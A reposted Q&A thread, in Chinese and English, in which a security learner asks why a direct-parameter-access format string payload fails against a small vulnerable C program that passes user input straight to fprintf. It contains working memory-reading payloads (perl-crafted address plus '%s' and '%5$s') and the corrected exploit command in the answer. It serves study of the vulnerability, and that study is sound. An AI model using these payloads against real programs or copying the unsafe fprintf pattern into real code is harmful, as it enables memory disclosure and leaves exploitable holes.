直接参数访问不起作用,在 C 中使用 printf

发布于 2024-11-30 05:18:08 字数 995 浏览 0 评论 0原文

我正在做一些计算机安全研究,我正在尝试了解字符串格式漏洞。我正在运行一个包含以下代码的程序:

char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);

当我向程序提供参数“%08x.%08x.%08x.%08x.%08x”(它被读入“data”变量)时,我得到输出: 00000020.b7fd7560.08048b09.00000019.78383025

我知道每个十六进制数字都会从堆栈中弹出,而“78383025”来自缓冲区本身。因此,在到达缓冲区开头之前,我必须弹出 4 个字(16 个字节)。

当我给出参数 `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'` 时,%s 部分打印位于内存地址 0xbffff92a 的字符串。

现在,我想使用直接参数访问来完成此操作。如果我向程序提供参数 `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`,我应该期望程序执行与上面相同的操作。但程序打印的只是缓冲区开头的四个字符。那么,什么给了???我是否使用了错误的 DPA 语法??? 顺便说一下,我使用的是 Ubuntu 9.04,32 位。

这是一些可编译的代码,但不能保证产生相同的结果:

#include <stdio.h>

void run(const char* data) {
    char buf[1<<5];
    strncpy(buf, data, sizeof(buf));
    buf[sizeof(buf) - 1] = '\0';
    fprintf(stderr, buf);
}

int main(int argc, char* argv[]) {
    run(argv[1]);
    return 0;
}

I am doing some computer security research, and I am trying to learn about string format vulnerabilities. I am running a program that contains this code:

char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);

When I feed the program the argument "%08x.%08x.%08x.%08x.%08x" (which gets read into the "data" variable), I get the output:
00000020.b7fd7560.08048b09.00000019.78383025

I understand that each hex number is popped off the stack, and the "78383025" comes from the buffer itself. So there are 4 words--16 bytes--that I have to pop off before I get to the start of my buffer.

When I give the argument `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`, the %s part prints the string located at memory address 0xbffff92a.

Now, I'd like to do this using direct parameter access. If I feed the program the argument `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`, I should expect the program to do the same thing as above. But all the program prints is the four characters at the start of the buffer. So, what gives??? Am I using the wrong syntax for DPA???
I am using Ubuntu 9.04, 32-bit by the way.

Here is some compilable code, not guaranteed to produce the same results though:

#include <stdio.h>

void run(const char* data) {
    char buf[1<<5];
    strncpy(buf, data, sizeof(buf));
    buf[sizeof(buf) - 1] = '\0';
    fprintf(stderr, buf);
}

int main(int argc, char* argv[]) {
    run(argv[1]);
    return 0;
}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

似狗非友 2024-12-07 05:18:08

%16$s 引用格式字符串后的第 16 个参数,并告诉 printf 将其解释为 char* 并显示它作为字符串。

您似乎使用它作为在获取字符串之前跳过 16 个字节的方法,但这并不完全相同。

由于您想要第 5 个参数,请尝试更像此格式字符串的内容:

"\x2a\xf9\xff\xbf%5$s"

由于您使用 perl -e 'print "...";' 来传递数据,因此您必须转义 $ 字符。 IE。 :

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`

%16$s refers to the 16-th argument after the format string, and tells printf to interpret it as a char* and display it as a string.

You seem to be using it as a means to skip 16 bytes before getting the string though, which is not exactly the same thing.

Since you want the 5-th argument, try something more like this format string :

"\x2a\xf9\xff\xbf%5$s"

Since you're using perl -e 'print "...";' to pass the data, you will have to escape the $ character. Ie. :

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文